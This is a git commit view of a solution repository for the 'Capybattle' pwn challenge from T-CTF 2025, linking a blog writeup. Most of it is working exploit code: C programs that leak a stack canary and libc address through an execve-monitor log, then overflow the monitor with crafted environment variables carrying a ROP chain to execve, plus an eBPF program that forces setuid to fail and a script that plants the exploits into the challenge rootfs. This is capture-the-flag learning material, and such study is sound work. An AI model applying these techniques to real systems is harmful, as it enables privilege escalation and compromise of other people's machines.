added task and solution
This commit is contained in:
commit
a0e1d6f7ab
9 changed files with 444 additions and 0 deletions
3
README.md
Normal file
3
README.md
Normal file
|
@ -0,0 +1,3 @@
|
|||
# [T-CTF 2025, pwn] Capybattle writeup
|
||||
|
||||
Ссылка на writeup: [[T-CTF 2025, pwn] Capybattle writeup](https://blog.nekoea.red/posts/tctf25-capybattle-writeup/)
|
20
solution/repack.sh
Normal file
20
solution/repack.sh
Normal file
|
@ -0,0 +1,20 @@
|
|||
#/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
rm -rf rootfs/*
|
||||
cd rootfs
|
||||
zstd -cd ../rootfs.cpio.zst | cpio -id
|
||||
echo "Unpacked"
|
||||
|
||||
cp ../spl/leak_stack .
|
||||
echo "Copied leak_stack"
|
||||
|
||||
cp ../spl/sploit .
|
||||
echo "Copied sploit"
|
||||
|
||||
cp ../setuid_fail .
|
||||
echo "Copied setuid_fail"
|
||||
|
||||
sleep 2
|
||||
find . -print0| cpio -H newc --null -o --owner=root:root | zstd -f -19 -o ../rootfs.cpio.zst
|
||||
echo "Repacked"
|
12
solution/setuid_fail/monitor_shim.c
Normal file
12
solution/setuid_fail/monitor_shim.c
Normal file
|
@ -0,0 +1,12 @@
|
|||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
int main() {
|
||||
struct stat st;
|
||||
sleep(30);
|
||||
execve("/tmp/setuid_fail", NULL, NULL);
|
||||
printf("failed\n");
|
||||
perror("execve");
|
||||
|
||||
}
|
20
solution/setuid_fail/setuid_fail.bpf.c
Normal file
20
solution/setuid_fail/setuid_fail.bpf.c
Normal file
|
@ -0,0 +1,20 @@
|
|||
#include "vmlinux.h"
|
||||
#include <bpf/bpf_core_read.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
|
||||
char LICENSE[] SEC("license") = "GPL";
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, 256 * 1024);
|
||||
} rb SEC(".maps");
|
||||
|
||||
#define EPERM 1
|
||||
|
||||
SEC("fmod_ret/__x64_sys_setuid")
|
||||
long BPF_PROG(handle_setuid, struct pt_regs *regs, int ret)
|
||||
{
|
||||
// Block the setuid call
|
||||
return -EPERM;
|
||||
}
|
74
solution/setuid_fail/setuid_fail.c
Normal file
74
solution/setuid_fail/setuid_fail.c
Normal file
|
@ -0,0 +1,74 @@
|
|||
#include <bpf/libbpf.h> // for bpf_map__fd, ring_buffer__new, ring...
|
||||
#include <errno.h> // for EINTR
|
||||
#include <signal.h> // for signal, SIGINT, SIGTERM, size_t
|
||||
#include <stdbool.h> // for bool, false, true
|
||||
#include <stdio.h> // for fprintf, stderr, NULL
|
||||
#include <stdlib.h> // for exit, EXIT_FAILURE
|
||||
#include <string.h> // for memcpy
|
||||
#include "setuid_fail.skel.h"
|
||||
|
||||
static volatile bool running = true;
|
||||
|
||||
#define MAX_ENV_VARS 128
|
||||
#define MAX_STRINGS_SIZE (1 << 14)
|
||||
|
||||
struct event {
|
||||
int env_offsets[MAX_ENV_VARS];
|
||||
char strings[MAX_STRINGS_SIZE];
|
||||
};
|
||||
|
||||
static int handle_event(void *ctx __attribute__((unused)),
|
||||
void *data, size_t data_sz)
|
||||
{
|
||||
fprintf(stderr, "blocked setuid()");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void sig_handler(int sig)
|
||||
{
|
||||
fprintf(stderr, "Received signal %d, exiting...\n", sig);
|
||||
running = false;
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
struct setuid_fail_bpf *skel;
|
||||
struct ring_buffer *rb;
|
||||
int err;
|
||||
|
||||
// Set up signal handler
|
||||
signal(SIGINT, sig_handler);
|
||||
signal(SIGTERM, sig_handler);
|
||||
|
||||
// Open and load BPF program
|
||||
skel = setuid_fail_bpf__open_and_load();
|
||||
if (!skel) {
|
||||
fprintf(stderr, "Failed to open and load BPF skeleton\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Attach BPF program
|
||||
err = setuid_fail_bpf__attach(skel);
|
||||
if (err) {
|
||||
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Set up ring buffer
|
||||
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);
|
||||
if (!rb) {
|
||||
fprintf(stderr, "Failed to create ring buffer\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
fprintf(stderr, "Successfully started! Please run commands to see setuid() calls.\n");
|
||||
|
||||
// Main loop
|
||||
while (running) {
|
||||
err = ring_buffer__poll(rb, -1);
|
||||
if (err < 0 && err != -EINTR) {
|
||||
fprintf(stderr, "Error polling ring buffer: %d\n", err);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
6
solution/spl/Makefile
Normal file
6
solution/spl/Makefile
Normal file
|
@ -0,0 +1,6 @@
|
|||
all: sploit leak_stack
|
||||
|
||||
sploit:
|
||||
gcc -static sploit.c -o sploit
|
||||
leak_stack:
|
||||
gcc -static leak_stack.c -o leak_stack
|
88
solution/spl/leak_stack.c
Normal file
88
solution/spl/leak_stack.c
Normal file
|
@ -0,0 +1,88 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
char *spl_argv[] = {"nonexistent", NULL};
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
#define TARGET "LD_PRELOAD="
|
||||
#define TARGET_LEN 11
|
||||
|
||||
uint8_t search_byte() {
|
||||
FILE *fp = fopen("/var/log/execve_monitor.log", "rb");
|
||||
if (!fp) {
|
||||
perror("Failed to open file");
|
||||
return 1;
|
||||
}
|
||||
char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling
|
||||
size_t bytes_read;
|
||||
long offset = 0;
|
||||
long last_found = -1;
|
||||
|
||||
// Initialize buffer prefix for overlap (set to 0s)
|
||||
memset(buffer, 0, TARGET_LEN);
|
||||
|
||||
while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) {
|
||||
for (size_t i = 0; i < bytes_read; i++) {
|
||||
if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) {
|
||||
last_found = offset + i - TARGET_LEN;
|
||||
}
|
||||
}
|
||||
|
||||
// Move last TARGET_LEN bytes to the beginning for overlap in next chunk
|
||||
memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN);
|
||||
offset += bytes_read;
|
||||
}
|
||||
|
||||
long read_offset = last_found +TARGET_LEN + 1;
|
||||
if (fseek(fp, read_offset, SEEK_SET) != 0) {
|
||||
perror("fseek failed");
|
||||
fclose(fp);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int c = fgetc(fp);
|
||||
//printf("Found byte: %02x\n", c);
|
||||
|
||||
fclose(fp);
|
||||
return c;
|
||||
}
|
||||
|
||||
uint8_t leak_offset(size_t offset) {
|
||||
char *spl_envp[3];
|
||||
|
||||
offset = offset - 13;
|
||||
|
||||
char env0[offset];
|
||||
for(int i = 0; i < offset; ++i) {
|
||||
env0[i]='A';
|
||||
}
|
||||
env0[offset] = '\0';
|
||||
|
||||
spl_envp[0] = env0;
|
||||
spl_envp[1] = "MEOW";
|
||||
spl_envp[2] = NULL;
|
||||
|
||||
execve(spl_argv[0], NULL, spl_envp);
|
||||
|
||||
spl_envp[0] = "LD_PRELOAD=";
|
||||
spl_envp[1] = NULL;
|
||||
|
||||
execve(spl_argv[0], NULL, spl_envp);
|
||||
sleep(0.2);
|
||||
return search_byte();
|
||||
}
|
||||
|
||||
int main(int argc) {
|
||||
uint8_t byte;
|
||||
for (int i = 0; i < 200; ++i) {
|
||||
byte = leak_offset(8200+i);
|
||||
if (i % 16 == 0) {
|
||||
printf("\n%04x: ", i);
|
||||
}
|
||||
printf("%02x ", byte == 0x0a ? 0x00 : byte);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
221
solution/spl/sploit.c
Normal file
221
solution/spl/sploit.c
Normal file
|
@ -0,0 +1,221 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
char *spl_argv[] = {"nonexistent", NULL};
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
#define TARGET "LD_PRELOAD="
|
||||
#define TARGET_LEN 11
|
||||
|
||||
uint8_t search_byte() {
|
||||
FILE *fp = fopen("/var/log/execve_monitor.log", "rb");
|
||||
if (!fp) {
|
||||
perror("Failed to open file");
|
||||
return 1;
|
||||
}
|
||||
char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling
|
||||
size_t bytes_read;
|
||||
long offset = 0;
|
||||
long last_found = -1;
|
||||
|
||||
// Initialize buffer prefix for overlap (set to 0s)
|
||||
memset(buffer, 0, TARGET_LEN);
|
||||
|
||||
while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) {
|
||||
for (size_t i = 0; i < bytes_read; i++) {
|
||||
if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) {
|
||||
last_found = offset + i - TARGET_LEN;
|
||||
}
|
||||
}
|
||||
|
||||
// Move last TARGET_LEN bytes to the beginning for overlap in next chunk
|
||||
memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN);
|
||||
offset += bytes_read;
|
||||
}
|
||||
|
||||
long read_offset = last_found +TARGET_LEN + 1;
|
||||
if (fseek(fp, read_offset, SEEK_SET) != 0) {
|
||||
perror("fseek failed");
|
||||
fclose(fp);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int c = fgetc(fp);
|
||||
//printf("Found byte: %02x\n", c);
|
||||
|
||||
fclose(fp);
|
||||
return c;
|
||||
}
|
||||
|
||||
uint8_t leak_offset(size_t offset) {
|
||||
char *spl_envp[3];
|
||||
|
||||
offset = offset - 13;
|
||||
|
||||
char env0[offset];
|
||||
for(int i = 0; i < offset; ++i) {
|
||||
env0[i]='A';
|
||||
}
|
||||
env0[offset] = '\0';
|
||||
|
||||
spl_envp[0] = env0;
|
||||
spl_envp[1] = "MEOW";
|
||||
spl_envp[2] = NULL;
|
||||
|
||||
execve(spl_argv[0], NULL, spl_envp);
|
||||
|
||||
spl_envp[0] = "LD_PRELOAD=";
|
||||
spl_envp[1] = NULL;
|
||||
|
||||
execve(spl_argv[0], NULL, spl_envp);
|
||||
sleep(0.2);
|
||||
return search_byte();
|
||||
}
|
||||
|
||||
void pwn(uint64_t canary, uint64_t libc) {
|
||||
char *spl_envp[128];
|
||||
char *two_zeroes = "\0";
|
||||
|
||||
// Canary preparations
|
||||
uint8_t canary_bytes[9];
|
||||
uint8_t canary_single_byte[2] = {0};
|
||||
|
||||
for (int i = 7; i >= 0; i--) {
|
||||
canary_bytes[i] = (canary >> (8 * i)) & 0xFF;
|
||||
}
|
||||
canary_bytes[8] = '\0';
|
||||
|
||||
canary_single_byte[0] = canary_bytes[0];
|
||||
// END: Canary preparations
|
||||
|
||||
// Fillers
|
||||
int filler0_len = 8200 - 12 - 12;
|
||||
char filler0[filler0_len];
|
||||
|
||||
int filler1_len = 24 - 8 - 1 - 1;
|
||||
char filler1[filler1_len];
|
||||
|
||||
for (int i = 0; i < filler0_len; ++i) {
|
||||
filler0[i] = 'A';
|
||||
}
|
||||
filler0[filler0_len-1] = '\0';
|
||||
|
||||
for (int i = 0; i < filler1_len; ++i) {
|
||||
filler1[i] = 'A';
|
||||
}
|
||||
filler1[filler1_len-1] = '\0';
|
||||
// END: Fillers
|
||||
|
||||
// ROP Gadgets
|
||||
// pop rdi; ret
|
||||
uint64_t pop_rdi = libc + 0x1429c;
|
||||
uint8_t pop_rdi_bytes[7];
|
||||
pop_rdi_bytes[6] = '\0';
|
||||
|
||||
// tmp path: /tmp/buildroot-2025.02/monitor
|
||||
uint64_t tmp_path = 0x40334c;
|
||||
uint8_t tmp_path_bytes[4];
|
||||
tmp_path_bytes[3] = '\0';
|
||||
|
||||
// execve
|
||||
//uint64_t libc_exit = libc + 0x14090; //exit
|
||||
uint64_t libc_exit = libc + 0x4CD20; //execve
|
||||
uint8_t libc_exit_bytes[7];
|
||||
libc_exit_bytes[6] = '\0';
|
||||
|
||||
// puts
|
||||
uint64_t libc_puts = libc + 0x5E340;
|
||||
uint8_t libc_puts_bytes[7];
|
||||
libc_puts_bytes[6] = '\0';
|
||||
|
||||
for (int i = 5; i >= 0; i--) {
|
||||
libc_exit_bytes[i] = (libc_exit >> (8 * i)) & 0xFF;
|
||||
}
|
||||
for (int i = 5; i >= 0; i--) {
|
||||
libc_puts_bytes[i] = (libc_puts >> (8 * i)) & 0xFF;
|
||||
}
|
||||
for (int i = 5; i >= 0; i--) {
|
||||
pop_rdi_bytes[i] = (pop_rdi >> (8 * i)) & 0xFF;
|
||||
}
|
||||
for (int i = 2; i >= 0; i--) {
|
||||
tmp_path_bytes[i] = (tmp_path >> (8 * i)) & 0xFF;
|
||||
}
|
||||
// END: ROP Gadgets
|
||||
|
||||
// Exploitation
|
||||
|
||||
spl_envp[0] = "LD_PRELOAD=";
|
||||
spl_envp[1] = filler0;
|
||||
spl_envp[2] = canary_single_byte;
|
||||
spl_envp[3] = &canary_bytes[2];
|
||||
spl_envp[4] = filler1;
|
||||
spl_envp[5] = two_zeroes;
|
||||
spl_envp[6] = pop_rdi_bytes;
|
||||
|
||||
// ROP start
|
||||
// pop rdi
|
||||
spl_envp[7] = two_zeroes;
|
||||
spl_envp[8] = pop_rdi_bytes;
|
||||
|
||||
// tmp path
|
||||
spl_envp[9] = two_zeroes;
|
||||
spl_envp[10] = tmp_path_bytes;
|
||||
spl_envp[11] = two_zeroes;
|
||||
spl_envp[12] = two_zeroes;
|
||||
spl_envp[13] = two_zeroes;
|
||||
|
||||
// puts
|
||||
//spl_envp[14] = two_zeroes;
|
||||
//spl_envp[15] = libc_puts_bytes;
|
||||
//spl_envp[16] = NULL;
|
||||
|
||||
// execve
|
||||
spl_envp[14] = two_zeroes;
|
||||
spl_envp[15] = libc_exit_bytes;
|
||||
spl_envp[16] = NULL;
|
||||
|
||||
execve(spl_argv[0], NULL, spl_envp);
|
||||
}
|
||||
|
||||
uint64_t leak_libc() {
|
||||
uint8_t libc_bytes[6] = {0};
|
||||
uint64_t libc_addr = 0;
|
||||
uint8_t byte;
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
byte = leak_offset(8200 + 0xa0 + i);
|
||||
libc_bytes[i] = byte == 0x0A ? 0x00 : byte;
|
||||
}
|
||||
for (int i = 0; i < 6; i++) {
|
||||
libc_addr |= ((uint64_t)libc_bytes[i] << (8 * i));
|
||||
}
|
||||
printf("libc+__libc_start_main_ret: 0x%08llx\n", libc_addr);
|
||||
libc_addr -= 0x1E41B;
|
||||
printf("libc: 0x%08llx\n", libc_addr);
|
||||
return libc_addr;
|
||||
}
|
||||
|
||||
uint64_t leak_canary() {
|
||||
uint8_t canary_bytes[8] = {0};
|
||||
uint64_t canary = 0;
|
||||
uint8_t byte;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
byte = leak_offset(8200 + i);
|
||||
canary_bytes[i] = byte == 0x0A ? 0x00 : byte;
|
||||
}
|
||||
for (int i = 0; i < 8; i++) {
|
||||
canary |= ((uint64_t)canary_bytes[i] << (8 * i));
|
||||
}
|
||||
printf("canary: 0x%08llx\n", canary);
|
||||
return canary;
|
||||
}
|
||||
|
||||
int main(int argc) {
|
||||
uint64_t libc = leak_libc();
|
||||
uint64_t canary = leak_canary();
|
||||
pwn(canary, libc);
|
||||
}
|
BIN
task/capybattle_7571838.tar.gz
Normal file
BIN
task/capybattle_7571838.tar.gz
Normal file
Binary file not shown.
Loading…
Reference in a new issue